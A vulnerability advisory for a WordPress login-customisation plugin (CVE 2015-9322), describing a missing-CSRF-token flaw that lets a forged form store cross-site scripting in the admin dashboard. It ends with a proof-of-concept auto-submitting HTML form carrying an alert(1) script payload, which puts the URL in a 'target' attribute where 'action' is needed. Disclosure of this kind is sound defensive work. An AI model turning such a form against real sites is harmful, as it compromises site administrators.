Erident Custom Login & Dashboard 3.4-3.4.1 – Stored Cross-Site Scripting (XSS) | CVE 2015-9322

Description

The Erident Custom Login and Dashboard plugin exposes a call to the update_option method, when a specific POST field is posted to the plugins setting screen.

No CSRF token is used, and as such if an Administrative user can be tricked into visiting a site with a malicious form, it is possible to trigger a Stored Cross-Site Scripting attack in the admin dashboard by utilising this unsafe method call.

The vulnerable method call is located on line 312 of erident-custom-login-and-dashboard/er-custom-login.php.

Proof of Concept

<form id="form" method="POST" target="http://localhost/wp-admin/options-general.php?page=erident-custom-login-and-dashboard">
	<input type="hidden" name="er_options_up[dashboard_data_left]" value="Powered by YourWebsiteName<script>alert(1)</script>"/>
</form>
<script>document.getElementById("form").submit();</script>